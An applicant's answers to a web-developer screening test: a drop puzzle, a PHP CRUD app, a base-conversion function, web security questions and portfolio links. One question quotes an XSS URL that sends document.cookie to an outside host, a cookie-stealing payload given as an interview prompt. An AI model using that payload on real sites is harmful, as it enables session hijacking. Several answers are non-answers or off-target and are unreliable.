Answers:

1) You have been given 2 special, extremely rugged MacBook Pros. You are in an office building that is 100 stories high. Using the fewest possible number of drops from windows in your office building, determine the highest floor you can drop a MacBook Pro from and have it survive: for example, they might be able to take the drop from the 30th floor, but not the 31st. You can break both MacBook Pros in your search. State the worst-case number of drops needed and explain how you arrived at that answer.

**1. Answer:**

>>> Can’t predict answer

2) Create a simple account management website using PHP CodeIgniter (http://ellislab.com/codeigniter) that allows a user to perform CRUD operations on it. An account consists of a person’s name, date of birth, and email. The application should be intuitive and user friendly. Feel free to use any external frameworks that you feel will help (e.g. jQuery).

**2. Answer:**

**>>>** [**https://github.com/abdulshamadh/shopback**](https://github.com/abdulshamadh/shopback) **or attached files.**

3) In a standalone web page (must be able to double click on a file and open a browser), write a function that displays the string form of a value in a particular number base.

// function integerToString(value, numberBase)

Note: Do not use built-in language features to accomplish the task.

Do not trivialize the task by using pre-existing JS functions to solve the crux of the question, for example, Number.toString(numberBase).

**3. Answer:**

I have written the function integerToString(value, numberBase). Using below url you can run the function.

shopback/index.php/home/integerToString/66870908998/62

Here, the first parameter is 'value' ie, 66870908998. The second parameter is 'numberBase' ie, 62. You can change the value and numberBase by modifying of last two parameters in the above URL.

But If you don't mention any numberBase parameter, the function will take 64 as numberBase. You can see my code below.

*function integerToString($num, $b=64) {*

*$base='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';*

*$r = $num % $b ;*

*$res = $base[$r];*

*$q = floor($num/$b);*

*while ($q) {*

*$r = $q % $b;*

*$q =floor($q/$b);*

*$res = $base[$r].$res;*

*}*

*echo $res;*

*}*

4) What harm could result from the following?

http://www.example.com/search?q=<script>object.src=”http://otherexample.com/code?data=”+document.cookie</script>

**4. Answer:**

I am getting forbidden error. i.e., don’t have permission to access the required URL on the server.

**i.e., Not Acceptable!.**

An appropriate representation of the requested resource could not be found on this server. Mod Security generated this error.

5) Explain what security measures need to be taken into consideration for web applications.

**5. Answer:**

1. The Content-Security-Policy-Report-Only header field lets servers experiment with policies by monitoring (rather than enforcing) a policy.

"Content-Security-Policy-Report-Only:" 1#policy

For example, server operators might wish to develop their security policy iteratively. The operators can deploy a report-only policy based on their best estimate of how their site behaves. If their site violates this policy, instead of breaking the site, the user agent will send violation reports to a URI specified in the policy. Once a site has confidence that the policy is appropriate, they start enforcing the policy using the Content-Security-Policy header field.

A server may send more than one HTTP header field named Content-Security-Policy-Report-Only with a given resource representation.

A server may send different Content-Security-Policy-Report-Only header field values with different representations of the same resource or with different resources.

Upon receiving an HTTP response containing at least one Content-Security-Policy-Report-Only header field, the user agent must monitor each of the policies contained in each such header field.

2. Cross Site Scripting (XSS)

The potential threat of XSS is allowing the execution of scripts in the victim's browser that could hijack user sessions, deface websites, and possibly introduce worms, etc. This flaw is caused by the improper validation of user-supplied data when an application takes that data and sends it to a web browser without first validating or encrypting the content.

3. Injection Flaws

The potential threat from this flaw is that an attacker could trick the application into executing unintended commands or into changing system data. Injection flaws, particularly SQL injection, are common in web applications. Injection occurs when user-supplied data is sent to an interpreter as part of a command or query.

4. Insecure Direct Object Reference

The potential threat here is that attackers could manipulate those references to access other objects without authorization. A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter.

5. Information Leakages and Improper Error Handling

The potential threat from the is flaw is that attackers can use this weakness to steal sensitive data, or conduct more serious attacks. Applications can unintentionally leak information about their configuration, internal workings, or violate privacy through a variety of application problems.

6) Please provide us with a link(s) to your portfolio and/or some code samples of your work.

**6. Answer:**

Website: <http://www.abdulshamadhu.com/>

LinkedIn: <http://sg.linkedin.com/in/abdulshamadhu>

Twitter: <http://twitter.com/abdulshamadhu>

Git URL: <https://github.com/abdulshamadh/shopback>

**MY PORTFOLIO**

[Active SG](https://www.myactivesg.com/" \t "_blank), [GoBuyLah](http://www.gobuylah.sg/" \t "_blank), [HoneyBay](http://new.honeybay.com/" \t "_blank), [Collections Atelier](http://collectionsatelier.com/" \t "_blank), [Fitness Champs](http://fcswim.com/" \t "_blank), [UK Drills](http://www.ukdrills.com/" \t "_blank), [Bake Social](http://bakesocial.shownearby.com/" \t "_blank), [Dot Com Infoway](http://www.dotcominfoway.com" \t "_blank), [HPC Systems](http://www.hpcsystems.com" \t "_blank), [Trade My Motor](http://www.trademymotor.com/" \t "_blank), [Rydal Communications](http://www.rydalcomms.co.uk/" \t "_blank), [Universal Publishers](http://www.universal-publishers.com/" \t "_blank), [Brown Walker Press](http://www.brownwalker.com/" \t "_blank), [Dissertation](http://www.dissertation.com/index.php" \t "_blank), [University Publishers](http://www.university-publishers.com/" \t "_blank)